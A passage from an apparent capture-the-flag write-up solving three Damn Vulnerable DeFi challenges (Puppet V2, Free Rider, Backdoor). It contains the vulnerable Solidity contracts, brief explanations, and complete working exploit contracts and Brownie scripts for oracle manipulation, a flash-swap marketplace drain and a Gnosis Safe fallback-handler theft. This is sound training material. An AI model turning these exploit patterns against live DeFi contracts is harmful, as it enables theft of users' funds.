* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");

// Calculate how much WETH the user must deposit
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

// Take the WETH
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

// internal accounting
deposits[msg.sender] += depositOfWETHRequired;

require(_token.transfer(msg.sender, borrowAmount));

emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}

This challenge is the extended version of the previous, but a similar exploit would work.

puppet-v2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
import json
from web3 import Web3
from brownie import accounts, Contract, PuppetV2Pool, DamnValuableToken, WETH9, chain


# Uniswap v2 exchange will start with 100 tokens and 10 WETH in liquidity
UNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(100, 'ether')
UNISWAP_INITIAL_WETH_RESERVE = Web3.toWei(10, 'ether')

ATTACKER_INITIAL_TOKEN_BALANCE = Web3.toWei(10000, 'ether')
ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(20, 'ether')

POOL_INITIAL_TOKEN_BALANCE = Web3.toWei('1000000', 'ether')

RANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a'
RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb'


def load_json(json_file):
with open(f'./scripts/build-uniswap-v2/{json_file}', 'r') as f:
contract_metadata = json.loads(f.read())
contract_abi = contract_metadata['abi']
contract_bytecode = contract_metadata['bytecode']
return contract_abi, contract_bytecode


def deploy_bytecode(contract_abi, contract_bytecode, *args):

# This will connect to Brownie's ganache instance
w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545'))

temp_contract = w3_client.eth.contract(
abi=contract_abi, bytecode=contract_bytecode)
n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS)

tx = temp_contract.constructor(*args).buildTransaction(
{'from': RANDOM_ADDRESS, 'nonce': n, 'gasPrice': w3_client.eth.gas_price}
)
signed_tx = w3_client.eth.account.sign_transaction(
tx, private_key=RANDOM_ADDRESS_PK)

accounts[0].transfer(RANDOM_ADDRESS, '1 ether')
txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh)

return tx_receipt.contractAddress


def scenario_setup():
# deploy script is from https://github.com/nahueldsanchez/dvd_brownie

# Set attacker account
ATTACKER_ACCOUNT = accounts.add()
accounts[1].transfer(ATTACKER_ACCOUNT, '20 ether')
assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE
# ####################

# Deploy DVT and WETH9
damn_valuable_token = DamnValuableToken.deploy({'from': accounts[0]})
weth9 = WETH9.deploy({'from': accounts[0]})
# ####################

# Deploy UNISWAP V2 Factory
uniswap_v2_factory_abi, uniswap_v2_factory_bytecode = load_json(
'UniswapV2Factory.json')
uniswap_v2_factory_address = deploy_bytecode(
uniswap_v2_factory_abi, uniswap_v2_factory_bytecode, '0x0000000000000000000000000000000000000000'
)
uniswap_v2_factory = Contract.from_abi(
'UniswapV2Factory', uniswap_v2_factory_address, uniswap_v2_factory_abi
)
###########################

# Deploy UNISWAP V2 Router
uniswap_v2_router_abi, uniswap_v2_router_bytecode = load_json(
'UniswapV2Router02.json')
uniswap_v2_router_address = deploy_bytecode(
uniswap_v2_router_abi, uniswap_v2_router_bytecode, uniswap_v2_factory.address, weth9.address)
uniswap_v2_router = Contract.from_abi(
'UniswapV2Router', uniswap_v2_router_address, uniswap_v2_router_abi)
#############################

accounts[9].transfer(RANDOM_ADDRESS, UNISWAP_INITIAL_WETH_RESERVE)
damn_valuable_token.approve(
uniswap_v2_router, UNISWAP_INITIAL_TOKEN_RESERVE, {'from': accounts[0]})
deadline = chain[-1].timestamp * 2
tx = uniswap_v2_router.addLiquidityETH(damn_valuable_token.address, UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, RANDOM_ADDRESS, deadline, {
'from': accounts[0], 'value': UNISWAP_INITIAL_WETH_RESERVE})

# Deploy UNISWAP v2 Pair
uniswap_v2_pair_abi, uniswap_v2_pair_bytecode = load_json(
'UniswapV2Pair.json')
uniswap_v2_pair = Contract.from_abi(
'UniswapV2Pair', uniswap_v2_factory.getPair(
damn_valuable_token, weth9), uniswap_v2_pair_abi
)
########################

puppet_v2_pool = PuppetV2Pool.deploy(
weth9, damn_valuable_token, uniswap_v2_pair, uniswap_v2_factory, {'from': accounts[0]})

damn_valuable_token.transfer(
ATTACKER_ACCOUNT, ATTACKER_INITIAL_TOKEN_BALANCE, {'from': accounts[0]})
damn_valuable_token.transfer(
puppet_v2_pool, POOL_INITIAL_TOKEN_BALANCE, {'from': accounts[0]})

assert puppet_v2_pool.calculateDepositOfWETHRequired(
'1 ether') == '0.3 ether'
assert puppet_v2_pool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE) == '300000 ether'

return uniswap_v2_router, damn_valuable_token, weth9, puppet_v2_pool, ATTACKER_ACCOUNT


def exploit(token, lending_pool, uniswap_router, weth9, attacker):
token.approve(
uniswap_router, token.balanceOf(attacker), {'from': attacker})
uniswap_router.swapExactTokensForETH(token.balanceOf(attacker), 1, [
token, weth9], attacker, chain[-1].timestamp * 2, {'from': attacker})
weth9.deposit({'from': attacker,
'value': attacker.balance()})
token.approve(uniswap_router, ATTACKER_INITIAL_TOKEN_BALANCE, {
'from': attacker})
weth9.approve(lending_pool, lending_pool.calculateDepositOfWETHRequired(
token.balanceOf(lending_pool)), {'from': attacker})
lending_pool.borrow(token.balanceOf(
lending_pool), {'from': attacker})


def after(token, lending_pool, attacker):
assert token.balanceOf(lending_pool) == 0
assert token.balanceOf(attacker) == POOL_INITIAL_TOKEN_BALANCE


def main():
uniswap_v2_router, damn_valuable_token, weth9, puppet_v2_pool, ATTACKER_ACCOUNT = scenario_setup()
exploit(damn_valuable_token, puppet_v2_pool,
uniswap_v2_router, weth9, ATTACKER_ACCOUNT)
after(damn_valuable_token, puppet_v2_pool, ATTACKER_ACCOUNT)

Free rider

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn’t know how to do it. So it’s offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you’ve agreed with the plan.

Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

FreeRiderBuyer.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/**
* @title FreeRiderBuyer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;

constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}

// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner);
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this));

received++;
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}

return IERC721Receiver.onERC721Received.selector;
}
}

FreeRiderNFTMarketplace.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";

/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;

DamnValuableNFT public token;
uint256 public amountOfOffers;

// tokenId -> price
mapping(uint256 => uint256) private offers;

event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);

constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();

for (uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}

function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices)
external
nonReentrant
{
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}

function _offerOne(uint256 tokenId, uint256 price) private {
require(price > 0, "Price must be greater than zero");

require(
msg.sender == token.ownerOf(tokenId),
"Account offering must be the owner"
);

require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);

offers[tokenId] = price;

amountOfOffers++;

emit NFTOffered(msg.sender, tokenId, price);
}

function buyMany(uint256[] calldata tokenIds)
external
payable
nonReentrant
{
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");

require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

receive() external payable {}
}

Our goal is to buy six NFTs with the actual price of 15 ether for less cheap. Here the FreeRiderNFTMarketplace contract has a buymany() function which checks if the msg. Value is > 15 ether for each NTFs hence we can buy as many NTFs as we like with just the price of one nft that is 15 ether and addition to that, the contract tries to send the ether to the seller, but fortunately, it is transferring the contract to us then retrieving the owner of the nft to get the seller address, since the contract is transferring the nft first the owner is the attacker, so it sends the 15 ether back to the attacker. However, unlike the attacker, the contract sends 15 ether 6 times. Nevertheless, to happen all this, the attacker needs 15 ether to get that. He needs to take a flashSwap from the uniswap contract.

freerider_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";

interface WETH9 {
function deposit() external payable;

function withdraw(uint256 wad) external;

function transfer(address dst, uint256 wad) external returns (bool);
}

interface FreeRiderNFTMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}

contract freerider_Exploit is IUniswapV2Callee {
WETH9 weth;
IUniswapV2Pair pair;
IERC721 nft;
FreeRiderNFTMarketplace market;
address buyer;

event Log(string message, uint256 val);

constructor(
address _weth,
address _pair,
address _nft,
address _market,
address _buyer
) payable {
require(msg.value >= 0.5 ether);
pair = IUniswapV2Pair(_pair);
nft = IERC721(_nft);
market = FreeRiderNFTMarketplace(_market);
buyer = _buyer;
weth = WETH9(_weth);
weth.deposit{value: 0.5 ether}();
}

function exploit() external {
require(address(pair) != address(0), "!pair");

address token0 = pair.token0();
address token1 = pair.token1();
uint256 amount0Out = address(weth) == token0 ? 15 ether : 0;
uint256 amount1Out = address(weth) == token1 ? 15 ether : 0;

// need to pass some data to trigger uniswapV2Call
bytes memory data = abi.encode(address(weth), 15 ether);

pair.swap(amount0Out, amount1Out, address(this), data);
}

// called by pair contract
function uniswapV2Call(
address _sender,
uint256 _amount0,
uint256 _amount1,
bytes calldata _data
) external override {
// require(msg.sender == address(pair), "!pair");
require(_sender == address(this), "!sender");

(address tokenBorrow, uint256 amount) = abi.decode(
_data,
(address, uint256)
);

// about 0.3%
uint256 fee = ((amount * 3) / 997) + 1;
uint256 amountToRepay = amount + fee;

uint256[] memory Ids = new uint256[](6);
// Ids = [uint256(0), 1, 2, 3, 4, 5];
for (uint256 i = 0; i < 6; i++) {
Ids[i] = i;
}

weth.withdraw(15 ether);
market.buyMany{value: 15 ether}(Ids);
weth.deposit{value: 15 ether}();

for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), buyer, i);
}
payable(tx.origin).transfer(address(this).balance);

IERC20(tokenBorrow).transfer(address(pair), amountToRepay);
}

function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}

receive() external payable {}
}

freerider.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import json
from brownie import (WETH9, Contract, DamnValuableNFT, DamnValuableToken,
FreeRiderBuyer, FreeRiderNFTMarketplace, accounts, chain, freerider_Exploit)
from web3 import Web3

RANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a'
RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb'

ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(0.5, 'ether')

NFT_PRICE = Web3.toWei(15, 'ether')
AMOUNT_OF_NFTS = 6
MARKETPLACE_INITIAL_ETH_BALANCE = Web3.toWei(90, 'ether')
BUYER_PAYOUT = Web3.toWei(45, 'ether')
UNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(15000, 'ether')
UNISWAP_INITIAL_WETH_RESERVE = Web3.toWei(9000, 'ether')


def load_json(json_file):
with open(f'./scripts/build-uniswap-v2/{json_file}', 'r') as f:
contract_metadata = json.loads(f.read())
contract_abi = contract_metadata['abi']
contract_bytecode = contract_metadata['bytecode']
return contract_abi, contract_bytecode


def deploy_bytecode(contract_abi, contract_bytecode, *args):

# This will connect to Brownie's ganache instance
w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545'))

temp_contract = w3_client.eth.contract(
abi=contract_abi, bytecode=contract_bytecode)
n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS)

tx = temp_contract.constructor(*args).buildTransaction(
{'from': RANDOM_ADDRESS, 'nonce': n, 'gasPrice': w3_client.eth.gas_price}
)
signed_tx = w3_client.eth.account.sign_transaction(
tx, private_key=RANDOM_ADDRESS_PK)

accounts[0].transfer(RANDOM_ADDRESS, '1 ether')
txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh)

return tx_receipt.contractAddress


def scenario_setup():

# deploy script is from https://github.com/nahueldsanchez/dvd_brownie

# Set attacker account
ATTACKER_ACCOUNT = accounts.add()
accounts[1].transfer(ATTACKER_ACCOUNT, '0.5 ether')
assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE
# ####################

# Set buyer account
BUYER_ACCOUNT = accounts.add()
accounts[1].transfer(BUYER_ACCOUNT, '50 ether')

# Deploy DVT and WETH9
damn_valuable_token = DamnValuableToken.deploy({'from': accounts[0]})
weth9 = WETH9.deploy({'from': accounts[0]})
# ####################

# Deploy UNISWAP V2 Factory
uniswap_v2_factory_abi, uniswap_v2_factory_bytecode = load_json(
'UniswapV2Factory.json')
uniswap_v2_factory_address = deploy_bytecode(
uniswap_v2_factory_abi, uniswap_v2_factory_bytecode, '0x0000000000000000000000000000000000000000'
)
uniswap_v2_factory = Contract.from_abi(
'UniswapV2Factory', uniswap_v2_factory_address, uniswap_v2_factory_abi
)
###########################

# Deploy UNISWAP V2 Router
uniswap_v2_router_abi, uniswap_v2_router_bytecode = load_json(
'UniswapV2Router02.json')
uniswap_v2_router_address = deploy_bytecode(
uniswap_v2_router_abi, uniswap_v2_router_bytecode, uniswap_v2_factory.address, weth9.address)
uniswap_v2_router = Contract.from_abi(
'UniswapV2Router', uniswap_v2_router_address, uniswap_v2_router_abi)
#############################

damn_valuable_token.approve(
uniswap_v2_router, UNISWAP_INITIAL_TOKEN_RESERVE, {'from': accounts[0]})
deadline = chain[-1].timestamp * 2
tx = uniswap_v2_router.addLiquidityETH(damn_valuable_token.address, UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, RANDOM_ADDRESS, deadline, {
'from': accounts[0], 'value': UNISWAP_INITIAL_WETH_RESERVE})

# Deploy UNISWAP v2 Pair
uniswap_v2_pair_abi, uniswap_v2_pair_bytecode = load_json(
'UniswapV2Pair.json')
uniswap_v2_pair = Contract.from_abi(
'UniswapV2Pair', uniswap_v2_factory.getPair(
weth9, damn_valuable_token), uniswap_v2_pair_abi
)
########################

assert uniswap_v2_pair.token0() == damn_valuable_token
assert uniswap_v2_pair.token1() == weth9
assert uniswap_v2_pair.balanceOf(RANDOM_ADDRESS) > 0

marketplace = FreeRiderNFTMarketplace.deploy(
AMOUNT_OF_NFTS, {'from': accounts[0], 'value': MARKETPLACE_INITIAL_ETH_BALANCE})
nft = DamnValuableNFT.at(marketplace.token())

for id in range(AMOUNT_OF_NFTS):
assert nft.ownerOf(id) == accounts[0]

nft.setApprovalForAll(marketplace, True, {'from': accounts[0]})

marketplace.offerMany([x for x in range(6)], [
NFT_PRICE for _ in range(6)], {'from': accounts[0]})
assert marketplace.amountOfOffers() == 6

return uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, BUYER_ACCOUNT


def setup_buyer_contract(partner_address, nft_address, buyer_account):
buyer_contract = FreeRiderBuyer.deploy(partner_address, nft_address, {
'from': buyer_account, 'value': BUYER_PAYOUT})

return buyer_contract


def exploit(uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, buyer_contract):
exploit = freerider_Exploit.deploy(weth9, uniswap_v2_pair, nft, marketplace, buyer_contract, {
'from': ATTACKER_ACCOUNT, 'value': '0.5 ether'})
exploit.exploit({'from': ATTACKER_ACCOUNT})


def after(marketplace, nft, buyer_contract, buyer, attacker):

assert attacker.balance() > BUYER_PAYOUT
assert buyer_contract.balance() == 0

for i in range(AMOUNT_OF_NFTS):
nft.transferFrom(buyer_contract, buyer, i, {'from': buyer})
assert nft.ownerOf(i) == buyer

assert marketplace.amountOfOffers() == 0
assert marketplace.balance() < MARKETPLACE_INITIAL_ETH_BALANCE


def main():
uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, BUYER_ACCOUNT = scenario_setup()
buyer_contract = setup_buyer_contract(ATTACKER_ACCOUNT, nft, BUYER_ACCOUNT)

exploit(uniswap_v2_pair, marketplace, nft,
weth9, ATTACKER_ACCOUNT, buyer_contract)

after(marketplace, nft, buyer_contract, BUYER_ACCOUNT, ATTACKER_ACCOUNT)

Backdoor

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

WalletRegistry.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {

uint256 private constant MAX_OWNERS = 1;
uint256 private constant MAX_THRESHOLD = 1;
uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18

address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;

mapping (address => bool) public beneficiaries;

// owner => wallet
mapping (address => address) public wallets;

constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
require(masterCopyAddress != address(0));
require(walletFactoryAddress != address(0));

masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);

for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
addBeneficiary(initialBeneficiaries[i]);
}
}

function addBeneficiary(address beneficiary) public onlyOwner {
beneficiaries[beneficiary] = true;
}

function _removeBeneficiary(address beneficiary) private {
beneficiaries[beneficiary] = false;
}

/**
@notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
setting the registry's address as the callback.
*/
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
// Make sure we have enough DVT to pay
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

address payable walletAddress = payable(proxy);

// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");

// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

// Ensure wallet initialization is the expected
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");

// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

// Remove owner as beneficiary
_removeBeneficiary(walletOwner);

// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;

// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
}

To complete this challenge, we need to steal 40 DVT‘s. Let us look at the contract WalletRegisty. Everything looks okay, and even in the GnosisSafe contract, since the beneficiaries did not yet create their wallets, we have an opportunity to register their wallet and pass the parameters of the setup() function. With this advantage, we can pass the exploit-contract’s address for the fallbackHandler parameter, which allows the proxy to delegate the fallback functions to the exploit-contract, which executes the “DVT.transfer()” function. Since it is a deligatecall from the proxy to DVT (via expoit-contract), the transfer will be successful. Repeating this with every one of the beneficiaries gives the 40 DVT to the attacker.

  • This solution is partly taken from this-repository since I’m unable to run the challenge in my environment.

backdoor_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// SPDX-License-Identifier: UNDEFINED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IWalletFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
address callback
) external returns (address proxy);
}

contract backdoor_Exploit {
uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
address[] victims;
address walletFactory;
address walletRegistry;
IERC20 token;
address masterCopy;
address wallet;
address attacker;

constructor(
address[] memory _victims,
address _walletFactory,
address _walletRegistry,
address _masterCopy,
address _tokenAddress,
address _attacker
) {
victims = _victims;
walletFactory = _walletFactory;
walletRegistry = _walletRegistry;
token = IERC20(_tokenAddress);
masterCopy = _masterCopy;
attacker = _attacker;

for (uint8 index; index < victims.length; index++) {
address[] memory _v = new address[](1);
_v[0] = victims[index];
bytes memory data = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
_v,
uint256(1), // Owners
address(0), // threshold
address(0), // To
address(this), // fallbackHandler
address(0), // paymentToken
uint256(0), // paymentValue
address(0) // paymentReceiver
);
wallet = IWalletFactory(walletFactory).createProxyWithCallback(
masterCopy,
data,
0,
walletRegistry
);
(bool success, bytes memory res) = address(wallet).call(
abi.encodeWithSignature(
"transfer(address,uint256)",
attacker,
TOKEN_PAYMENT
)
);
}
}

function transfer(address to, uint256 amount) public {
token.transfer(to, amount);
}
}

backdoor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from brownie import DamnValuableToken, WalletRegistry, accounts, project, backdoor_Exploit, ZERO_ADDRESS
from web3 import Web3

# Changes needed to make this work:
# packages/safe-global/safe-contracts@1.3.0-libs.0/contracts/interfaces/ViewStorageAccessible.sol comment out solidity pragma
# packages/safe-global/safe-contracts@1.3.0-libs.0/contracts/test/ERC20Token.sol comment out solidity pragma
# Download https://github.com/gnosis/mock-contract/tree/master and save it into packages/safe-global/safe-contracts@1.3.0-libs.0/

AMOUNT_TOKENS_DISTRIBUTED = Web3.toWei(40, 'ether')


def scenario_setup():

ATTACKER_ACCOUNT = accounts.add()
ALICE = accounts.add()
BOB = accounts.add()
CHARLIE = accounts.add()
DAVID = accounts.add()

users = [ALICE, BOB, CHARLIE, DAVID]

gnosis_project = project.load(
'safe-global/safe-contracts@1.3.0', name='GnosisSafe')
master_copy = gnosis_project.GnosisSafe.deploy({'from': accounts[0]})
wallet_factory = gnosis_project.GnosisSafeProxyFactory.deploy(
{'from': accounts[0]})
token = DamnValuableToken.deploy({'from': accounts[0]})

wallet_registry = WalletRegistry.deploy(
master_copy, wallet_factory, token, users, {'from': accounts[0]})

for user in users:
assert wallet_registry.beneficiaries(user) == True

token.transfer(wallet_registry, AMOUNT_TOKENS_DISTRIBUTED,
{'from': accounts[0]})

return master_copy, wallet_registry, wallet_factory, token, ATTACKER_ACCOUNT, ALICE, BOB, CHARLIE, DAVID


def exploit(victims, wallet_factory, wallet_registry, master_copy, dvt, attacker):
attacker_contract = backdoor_Exploit.deploy(
victims, wallet_factory, wallet_registry, master_copy, dvt, attacker, {'from': attacker})


def after(victims, wallet_registry, dvt, attacker):
for i in victims:
wallet = wallet_registry.wallets(i)
assert wallet != ZERO_ADDRESS, "User did not register a wallet"
assert wallet_registry.beneficiaries(i) == False

assert dvt.balanceOf(attacker) == AMOUNT_TOKENS_DISTRIBUTED


def main():
